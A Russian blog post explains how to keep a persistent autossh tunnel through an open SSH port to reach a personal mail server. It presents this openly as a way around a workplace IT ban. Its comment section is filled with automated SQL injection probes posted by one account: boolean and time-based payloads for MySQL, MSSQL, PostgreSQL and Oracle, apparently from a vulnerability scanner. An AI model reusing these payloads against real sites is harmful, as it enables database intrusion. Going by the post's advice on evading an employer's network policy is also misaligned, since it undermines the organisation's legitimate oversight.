Иногда хочется пользоваться, к примеру своим Email сервером, а корпоративная политика местного IT отдела строго настрого такое запрещает. Тем не менее, очень часто остаётся открытым 22й порт, через который можно проложить шифрованный канал через тернии к звёздам.

Чтобы усложнить реализацию подобных махинаций, часто бывает, что время жизни коннекта к такому порту - строго ограничено. В таких случаях на помощь придет программа autossh.

Чтобы упростить ей задачу, потребуется создать ключ, по которому сервер SSH будет нас узнавать.

  1. cd ~/.ssh
  2. ssh-keygen -t rsa

На все вопросы отвечаем клавишей Enter.
Содержимое полученного файла id_rsa.pub нужно положить на сервер в файл ~/.ssh/authorized_keys.

Теперь можно запускать саму autossh. Мой конечный вариант выглядит вот так:

su -c 'autossh -f -N -L 2555:localhost:25 sb0y@bagrintsev.me' abagrintsev

Давайте разберём команду.
Обёртка su -c '...' abagrintsev - просто запускает от имени abagrintsev фоновую программу autossh. Очень помогает, в случаях, если запускаете конструкцию из /etc/rc.local (чтобы пользоваться удалёнными сервисами сразу после старта компьютера).

-f - выполняться в фоновом режиме

-N - пытаться пересоединиться после разрыва

-L 2555:localhost:25 - занять на ЛОКАЛЬНОЙ машине порт 2555, обращаясь при этом на УДАЛЁННОЙ машине к 25-му порту.

sb0y@bagrintsev.me - sb0y - это имя пользователя, bagrintsev.me - удалённая машина, к которой хотим присоединиться.



nEcdyGgx

nEcdyGgx 13 Augustа в 18:26 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1 OR 2+858-858-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1 OR 3+858-858-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1 OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1 OR 3*2>(0+5+858-858) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1 OR 2+908-908-1=0+0+0+1

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1 OR 3+908-908-1=0+0+0+1

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1 OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1 OR 3*2>(0+5+908-908)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1' OR 2+127-127-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1' OR 3+127-127-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1' OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1' OR 3*2>(0+5+127-127) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1' OR 2+125-125-1=0+0+0+1 or 'UfVKv1wD'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1' OR 3+125-125-1=0+0+0+1 or 'UfVKv1wD'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1' OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1' OR 3*2>(0+5+125-125) or 'UfVKv1wD'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1" OR 2+969-969-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1" OR 3+969-969-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1" OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1" OR 3*2>(0+5+969-969) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

if(now()=sysdate(),sleep(15),0)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1; waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1); waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

1 waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

Ek8LELJg'; waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-5 OR 309=(SELECT 309 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-5) OR 370=(SELECT 370 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

-1)) OR 639=(SELECT 639 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

PVEpMjO6' OR 298=(SELECT 298 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

iVNHOKt6') OR 140=(SELECT 140 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

Ko7ItIlC')) OR 225=(SELECT 225 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

1'"

nEcdyGgx

nEcdyGgx 13 Augustа в 18:32 #

@@8EcqH

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

-1 OR 2+336-336-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

-1 OR 3+336-336-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

-1 OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

-1 OR 3*2>(0+5+336-336) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

-1 OR 2+424-424-1=0+0+0+1

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

-1 OR 3+424-424-1=0+0+0+1

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

-1 OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

-1 OR 3*2>(0+5+424-424)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

-1' OR 2+605-605-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

-1' OR 3+605-605-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

-1' OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

-1' OR 3*2>(0+5+605-605) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

-1' OR 2+962-962-1=0+0+0+1 or 'iXeLhTUP'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

-1' OR 3+962-962-1=0+0+0+1 or 'iXeLhTUP'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

-1' OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

-1' OR 3*2>(0+5+962-962) or 'iXeLhTUP'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

-1" OR 2+432-432-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

-1" OR 3+432-432-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

-1" OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

-1" OR 3*2>(0+5+432-432) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

if(now()=sysdate(),sleep(15),0)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

-1; waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

-1); waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

1 waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

6uGWYhHW'; waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

-5 OR 268=(SELECT 268 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

-5) OR 433=(SELECT 433 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

-1)) OR 719=(SELECT 719 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

Y4hxSyLz' OR 912=(SELECT 912 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

3iZU9nIj') OR 96=(SELECT 96 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

6xm5pm6o')) OR 664=(SELECT 664 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

1'"

nEcdyGgx

nEcdyGgx 13 Augustа в 18:48 #

@@hxFiF

nEcdyGgx

nEcdyGgx 13 Augustа в 18:54 #

555


Войдите или зарегистрируйтесь, чтобы написать комментарий.